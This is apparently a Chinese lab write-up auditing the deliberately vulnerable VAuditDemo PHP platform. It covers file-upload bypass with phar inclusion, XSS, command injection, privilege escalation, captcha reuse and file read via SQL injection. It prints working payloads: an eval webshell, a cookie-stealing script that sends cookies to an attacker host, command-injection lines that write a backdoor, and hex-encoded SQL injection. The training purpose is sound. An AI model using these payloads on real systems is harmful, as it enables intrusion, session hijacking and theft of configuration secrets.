记一次对VAuditDemo平台的代码审计(中)

2.2 文件上传漏洞检测

在修改普通用户处存在文件上传点

wKg0C2IpwtyATin9AABuwKRXFas383.png

先上传一个木马文件muma.php测试一下是否有过滤

wKg0C2IpwvCAFXQqAAAhNyN89vg085.png``

同时用BurpSuite抓包

wKg0C2IpwwGAXSPZAADw3KQKfcg655.png

发现有过滤,测试一下是不是通过检测文件头来判断文件类型,修改文件头

wKg0C2IpwxKAaU0yAADB6VUJbE521.png

发现不是检测文件头,修改MIME类型

wKg0C2IpwyWAYooOAADzmA4vAE292.png

还是绕不过,查看后端源码

2.2.1代码审计

wKg0C2Ipwz2AXLDKAAC4kAETgc051.png

后端代码先检测是否点击"submit"按钮、是否上传文件,然后用is_pic()函数检测文件,全局搜索is_pic()函数,在lib.php文件中发现定义的is_pic()函数,

wKg0C2Ipw0ATFuGAABATtGkOes069.png``

该函数的作用是检测文件名后缀中最后一个.后是不是jpgjpeg或者png格式,这个函数可以通过修改文件后缀名绕过。

继续分析代码,is_pic()函数后生成保存路径,由于保存路径是由time()函数随机生成的,但是time()生成的时间是可猜解的。

Demo:

wKg0C2Ipw2GAejY4AABNmNA770532.png

在连续时间内用time()函数生成的时间只有最后两位数字有所差别,可以利用这点猜解文件保存路径,从而访问到上传的木马文件。

这样文件名可以绕过,木马保存路径也可以得到,最后就是要解析木马文件,这里可以使用phar伪协议

关于phar伪协议附链接:https://blog.csdn.net/qq_43668710/article/details/105546052

需要注意使用phar伪协议的时候需要将php.ini设置phar.readonly设置为Off才能用于phar对象,而在php5.5.9版本一下没有phar.readonly这个配置选项,为了测试漏洞效果,我们需要将php版本调整到php5.5.9以上,这里将php版本调整到5.6.9(注:高版本的php无法正常显示页面),然后修改配置文件

wKg0C2Ipw3iACdNDAAAlByhas7o407.png

这里在主机做一个测试(注:主机php版本为7.3.4),需要两个文件test.phptest.txt文件,test.php文件用于包含、解析文件,test.txt文件用于存放脚本

test.php

 <?php
 include 'phar://test.png/test.txt';
 ?>

这里需要注意所要包含的文件名及文件后缀。

test.txt

 <?php @eval($_POST['hacker']);?>

然后将test.txt文件压缩,压缩文件的后缀名可以是phar、rar或者是zip,然后将压缩文件后缀名更改为自己所需要的后缀名就可以了。

wKg0C2Ipw46ALFlrAAAfjvUDgNA283.png

然后用浏览器访问test.php解析脚本

测试效果

wKg0C2Ipw56AO3tRAACwIzys9WE829.png

在文件上传漏洞中我们还需要一个文件包含的漏洞,全局搜索与文件包含有关的关键字

在index.php文件中发现文件包含漏洞

wKg0C2Ipw7GAP4qaAACvA56ApQ062.png

漏洞产生的原因,后端代码没有对通过GET方式传递过来的参数进行任何过滤而直接使用。

根据上面的利用phar伪协议的思路可以构造木马文件

wKg0C2Ipw8CAaOTIAAAexvKX56c772.png

然后将文件后缀更改为inc,因为index.php文件中的include()函数规定了文件后缀

wKg0C2Ipw9CAVv0IAAAa2aIqHSI548.png

然后将muma.inc文件压缩,压缩之后将压缩文件后缀名改为png

2.2.2 漏洞检测

上传准备好的png文件,用BurpSuite抓包获取服务器响应时间,以获取文件保存路径

wKg0C2IpwaAIQs8AAEDKensgCM632.png

wKg0C2IpweAEXJUAABCSj3LjA0477.png``

构造脚本

wKg0C2IpxAeANslkAABctL1imYU970.png

然后根据代码知道文件保存路径(注:这个路径只是猜测,由于各种原因数据包响应时间和文件保存时间会有所不同)

/uploads/u_1633141165_muma.png

poc

 phar://uploads/u_1633141165_muma.png

先测试一下

 http://www.cms.com:8088/index.php?module=phar://uploads/u_1633141165_muma.png/muma.inc

POST传参

wKg0C2IpxCCAbdfAACcJWHwBdo150.png

可以连接上,用蚁剑连接

wKg0C2IpxDKACLknAAD7EdXtts114.png

2.3 XSS漏洞检测

2.3.1 搜索框处的XSS

注:由于之前环境出现很多问题,所以重新搭建了一个测试环境。

猜测搜索框可能存在XSS漏洞

poc

 < script>alert(1)</script>

测试结果

wKg0C2IpxEWAITldAABrVdmk5N0300.png

后端执行了Javascript代码,说明存在XSS漏洞

2.3.1.1 代码审计

wKg0C2IpxFeAIfXHAACEBdP01rc047.png

后端对传入的search参数没有任何过滤,导致后端代码执行了用户传进去的JavaScript恶意代码,这是一个反射型XSS漏洞。

2.3.1.2 漏洞利用

靶机为win7 FireFox,主机为win10 FireFox

主机未登录

wKg0C2IpxGyAGbIBAAAoeANt2dM271.png

靶机已登录

wKg0C2IpxH2AalmSAAAm7J6eNCI516.png

假设靶机执行了XSS恶意代码

payload

 < script>document.location='http://192.168.179.191:8088/xss/rece/cookie.php?cookie='+document.cookie;</script>

cookie.php

 <?php
 $cookie = $_GET['cookie'];
 $log = fopen('cookie.txt', 'a');
 fwrite($log, $cookie."\n");
 fclose($log);
 ?>

恶意代码将靶机的cookie信息保存在了主机的cookie.txt文件中(获取cookie的前提:主机的Apache服务开启,对应端口开启)

靶机浏览器

wKg0C2IpxJGADxV8AAAhAseak8I663.png

主机文件

wKg0C2IpxKKAf90fAAAoYjbWM6Q798.png

在主机上利用获取的cookie信息登录账户

wKg0C2IpxLKAMD3eAADR7uFqG4752.png

利用效果

wKg0C2IpxMaAEQM7AACkhruFQE867.png

漏洞防御

1、关键字符过滤

2、设置httponly,让JavaScript代码无法捕捉到cookie信息

2.3.2 用户管理处的XSS

2.3.2.1 代码审计

wKg0C2IpxN2AUM0AAEHecAfRo059.png

对代码进行分析发现后端代码对用户的ip没有任何过滤,所以可以利用HTTP中的XFF字段构造XSS漏洞,参数user_id也没有被过滤,但是要使用user_id查询数据库中的记录,如果查询出错就会停止执行代码,所以无法利用参数user_id

2.3.2.2 漏洞利用

原来的IP为127.0.0.1

wKg0C2IpxPGAc0oxAAA9MtNtMG8981.png

在普通用户登录处抓包,修改IP

poc

 X-Forwarded-For: < script>alert(1);</script>

BurpSuite抓包,构造XFF字段

wKg0C2IpxQWAbmT3AAC4elqvSbM076.png

登录成功

登录管理员账户,进入用户管理页面

wKg0C2IpxRqAHH7AABHHO3nNME616.png

后端执行了JavaScript代码,这是一个存储型XSS,存在了数据库中,每次访问manageUser.php文件都会触发XSS漏洞。

wKg0C2IpxSyAdoa2AAAyhXYxabU947.png

造成漏洞的原因:输入端、输出端对数据过滤不严。

输入端代码,sqlwaf函数可以过滤一些与sql注入有关的关键字符,但是没有过滤与XSS有关的关键字符。

wKg0C2IpxTqAfY1KAAC93lTlL20552.png

输出端

wKg0C2IpxVOAD1laAAAyGVfUXL0011.png

对后端数据没有任何过滤。

获取cookie

wKg0C2IpxWWAJT7AAC2k5xNZ10958.png

由于sqlwaf()函数过滤了单引号,所以直接在页面回显cookie

 X-Forwarded-For: < script>alert(document.cookie)</script>

wKg0C2IpxXaAepLIAABch64WZOQ814.png

获取到了cookie,cookie的利用思路与上面的相似。

2.3.3 用户名更新处的XSS漏洞检测

wKg0C2IpxYeAejrkAAAwT2xilSM694.png

用户名更新处可能存在存储型XSS

2.3.3.1 代码审计

wKg0C2IpxaKATqpsAACs0fFoH1k914.png

在updateName.php文件中,代码对参数username的长度进行了检测,长度不能大于16,下面使用clean_input()函数处理传进来的参数,所以只能尝试使用JavaScript伪协议绕过,但是用伪协议构造poc最短的长度是19,绕不过长度限制,所以这里暂时没有绕过。

wKg0C2IpxbGAI5UIAABf6fdPrs578.png

2.4 命令执行漏洞

在管理员页面发现可以使用ping命令,根据经验,这里可能存在命令执行漏洞

wKg0C2IpxcOAMgIKAABntjHscrA898.png

测试一下,poc

 127.0.0.1 | whoami

测试结果

wKg0C2IpxdaAQ6SRAAArSpJnGDc944.png

存在命令执行

2.4.1 代码审计

在ping.php中发现代码对传进去的参数没有进行任何过滤

wKg0C2IpxeeANSViAADMU4TuOaI565.png

2.4.2 漏洞利用

查看当前目录

 127.0.0.1 | dir

wKg0C2IpxgCADJ47AACGL8xhNoU893.png

这里存在敏感信息泄露漏洞

从目录结构可以看出这是windows操作系统

使用windows命令留后门

创建文件,payload

 127.0.0.1 | echo 123 > test.txt

创建成功

wKg0C2IpxhSAOdiWAACUiQ4AaLQ967.png

创建后门文件

poc

 127.0.0.1 && echo ^<?=phpinfo();?^> > a.php

ps:由于没有注意管道符,第一次没有写入

wKg0C2IpxiiAaS4JAACWQ9RSJh8026.png

写入成功

wKg0C2IpxjqAOJwBAADt0ZYAmfM397.png

 127.0.0.1 && echo ^<?php @eval($_POST[hacker]); ?^> > muma.php

wKg0C2IpxlCAQVi1AACjmY6jEE393.png

测试一下

wKg0C2IpxmGAOlPJAADMzwKZ4RQ071.png

可以访问到后门文件

用蚁剑连接

wKg0C2IpxnKAb8JoAADpWCV2oS4409.png

2.5 水平越权漏洞

后台数据库中存在两个用户'ch4ng'和'test'

wKg0C2Ipxo6AQZBpAAAbhtjJruU986.png

在修改用户名出存在水平越权漏洞

2.5.1 代码审计

**clean_input()函数过滤不再解释,在这里由于clean_input()函数只是为了防止注入过滤特殊字符,所以对于正常的输入没有任何影响,clean_input()函数处理之后直接使用Sql查询语句根据用户名查询数据库中是否存在该用户,如果有就根据ID更改用户名。这里存在一个越权漏洞,利用思路是利用自己已有的账号登录,然后去修改用户名,通过抓包修改参数id,导致后端修改了其它账户的用户名,最终造成水平越权漏洞。**

2.5.2 漏洞利用

登录'ch4ng'账户,可以修改'test'用户的用户名

修改用户名

wKg0C2IpxqSATyPbAAAvKxsR2rA716.png

抓包,修改id

修改前

wKg0C2IpxuOAZGE3AADNoXiC0x4239.png

修改后

wKg0C2IpxvSAIVJQAAC8MoK3Fxg397.png

数据库中原来的'test'用户的用户名被修改为了'hacker'

wKg0C2IpxwaAAbx6AAAgU7f8UhY614.png

漏洞利用成功!!!

2.6 失效的会话管理

2.6.1 代码审计

管理员登录处存在验证码重复使用的漏洞

wKg0C2IpxxiAAdNVAADYAzE1j8945.png

漏洞产生的原因是后端对验证码的处理不当导致验证码可以重复利用

2.6.2 漏洞利用

第一次请求

wKg0C2IpxyyAS7Q6AAEsNumyOm4528.png

第二次请求

wKg0C2IpxzyANovWAAEokHGjMMI461.png

验证码可以重复利用

测试一下,随便填一个验证码

登陆成功

wKg0C2Ipx2qASSoGAAAoKj13rk896.png

修改后的代码

wKg0C2Ipx3qAayj4AABakODwCuw080.png

再测试一下,输入正确的用户名和密码,随便输入一个验证码

wKg0C2Ipx4qAdbMHAAAyqk3sJn8802.png

没有登录成功

wKg0C2Ipx5uAK0tNAABMo7SGZDQ814.png

2.7 任意文件读取

全局搜索敏感函数,在avatar.php文件中找到file_get_contents()函数

wKg0C2Ipx8aAe8TFAABB9fsgvTk617.png

2.7.1 参数回溯

全局搜索avatar参数

wKg0C2Ipx9aARVTdAAAVrCwJCGE503.png

在updateAvatar.php文件中找到最开始的avatar参数

**2.7.2 代码审计

wKg0C2IpxuAKoryAACVTuioyHg173.png

参数avatar可控,可利用闭合思想+注释构造payload,利用sql语句执行payload

利用filename上传payload

 ',user_avator = '../sys/config.php' WHERE user_name = 'ch4ng'#.png

修改前数据库中的信息

wKg0C2Ipx6AOY1KAAAvSv6zi1Y806.png

利用上传文件构造参数

wKg0C2IpyBGASuagAACb7iVvcAQ224.png

数据库更新了,但不是我们想要的结果,可能是被过滤了

wKg0C2IpyCKAUWDaAAAwxNB8Zs863.png

由于MySQL支持十六进制,可以尝试使用进制转换绕过

 ',user_avatar = 0x2e2e2f7379732f636f6e6669672e706870 WHERE user_name = 'ch4ng'#.png

重新测试

wKg0C2IpyDeAdXE7AACYjkCs3gw006.png

更新成功

wKg0C2IpyEmAfZ16AAAyb8ClseE939.png

重新登录,用BurpSuite抓包,重放avatar.php文件的包可以看到config.php文件的源代码

wKg0C2IpyFuAaPcgAADgOQYJgEs832.png

在chrome浏览器中也可以看到

wKg0C2IpyGuACY1AADwlLvTxGw770.png

**

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐